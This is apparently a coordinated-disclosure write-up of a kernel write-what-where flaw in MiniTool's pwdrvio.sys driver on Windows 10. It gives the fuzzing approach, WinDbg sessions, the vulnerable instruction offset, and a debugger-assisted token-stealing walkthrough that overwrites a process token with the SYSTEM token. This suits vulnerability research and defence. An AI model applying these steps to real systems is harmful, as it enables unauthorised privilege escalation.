CVE-2026-36981-Kernel-EoP-PoC

Kernel write-what-where condition within the pwdrvio.sys kernel driver of MiniTool. Demonstrates a debugger-assisted arbitrary kernel write primitive that can be leveraged toward privilege escalation.

• 2026-02-09 Vendor notified
• 2026-03-05 Vendor acknowledged
• 2026-03-05 CVE requested from MITRE
• 2026-05-10 Public disclosure after 90-day coordinated disclosure period

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

Arbitrary Kernel Write → Local Privilege Escalation (LPE) Severity: HIGH
CVSS 3.1 Score: 7.8 (LPE) CVSS Vector String:

• LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

  • debugger-assisted arbitrary kernel write primitive that can be leveraged toward privilege escalation.
  • Exploitable via write-what-where primitive at driver offset 0x1641
  • Requires kernel debugging tools for reliable exploitation
  • Confirmed on Windows 10 Build 19045.6466

Attack Prerequisites:

• Local access to the target system
• Standard user account (non-administrator)
• MiniTool installed or uninstalled (pwdrvio.sys driver loaded)

Exploitation Results: LPE - Debugger-assisted privilege escalation demonstrated (NT AUTHORITY / SYSTEM), complete system compromise

Vulnerability Discovery Timeline

Initial Fuzzing and BSOD Discovery

Date: February 5, 2026
Activity: Systematic kernel driver fuzzing using custom Python fuzzer

Discovery Process:

1. Target Selection:

   • Enumerated installed kernel drivers on Windows 10 VM
   • Identified pwdrvio.sys as oldest driver (timestamp: June 16, 2009)
   • Driver file: C:\Windows\System32\drivers\pwdrvio.sys
   • Device object: \\.\PartitionWizardDiskAccesser\0

2. Initial Fuzzing:

   • Developed Python fuzzer using ctypes to interface with driver
   • Sent randomized data via WriteFile/DeviceIoControl to driver device
   • Result: Multiple Blue Screens of Death (BSOD)

3. Verifier Activation:

   • Enabled Driver Verifier for enhanced crash detection

   verifier /standard /driver pwdrvio.sys
   

   Verifier Configuration:

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

WinDbg Kernel Debugging Setup

Date: February 5-6, 2026
Activity: Established kernel debugging environment for root cause analysis

Setup Procedure:

1. VMware Serial Port Configuration:

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. Guest OS Configuration:

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Host WinDbg Connection:

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

Root Cause Analysis - Arbitrary Write Discovery

Date: February 6, 2026
Activity: Identified arbitrary kernel write primitive

Analysis Steps:

1. Module Analysis:

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Vulnerable Instruction Discovery:

   Set breakpoint on write handler:

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Critical Finding: Arbitrary write primitive identified!

   • Instruction writes kernel pointer (RAX) to address [R11-0x10]
   • R11 is loaded from stack frame: mov r11, qword ptr [rbp+0xB8h]
   • No validation performed on destination address

3. Register State Analysis:

   0: kd> r
   rax=fffff805315f1364  ← Kernel code pointer
   r11=ffffe60f84c38750  ← Destination address (controlled via stack)
   rbp=ffffe60f84c38610  ← IRP stack frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
   

UAF to Arbitrary Write Analysis

Date: February 6-7, 2026
Activity: Traced vulnerability from User-After-Free to write-what-where condition

Memory Corruption Chain:

1. IRP Allocation:

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Buffer Relationship:

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   Analysis: User buffer is NOT directly accessible from RBP frame

   • RBP points to IRP structure in kernel pool
   • User buffer is in different memory region
   • RBP+0xB8 offset does not point into user-controlled buffer

3. Use-After-Free Condition:

   The driver maintains dangling pointers in the IRP structure:

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

Local Privilege Escalation Development

Date: February 7-8, 2026
Activity: Developed token stealing technique

Exploitation Strategy:

Objective: Overwrite current process token with SYSTEM token

Windows EPROCESS Structure:

+0x000 Pcb              : _KPROCESS
...
+0x4b8 Token            : _EX_FAST_REF  ← Token pointer location

Token Stealing Procedure:

1. Locate SYSTEM Process:

   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
   

2. Locate Attacker Process:

   0: kd> !process 0 0 poc1.exe
   PROCESS ffffe78760150080
       SessionId: 1  Cid: 0678
       Image: poc1.exe
   
   0: kd> dq ffffe78760150080+4b8 L1
   ffffe787`60150538  ffffc08e`6c37a066  ← Standard user token
   

3. Calculate Target Address:

   Target = TokenPointer + 0x10
          = 0xffffe78760150538 + 0x10
          = 0xffffe78760150548
   
   Reason: Instruction uses [R11-0x10], so:
           (Target + 0x10) - 0x10 = Target
   

4. Perform Token Overwrite:

   0: kd> r rax = ffffc08e6642f04f     ; SYSTEM token
   0: kd> r r11 = ffffe78760150548     ; Target address
   0: kd> p                             ; Execute: mov [r11-10h],rax
   
   0: kd> dq ffffe78760150538 L1        ; Verify
   ffffe787`60150538  ffffc08e`6642f04f  ← Token successfully changed!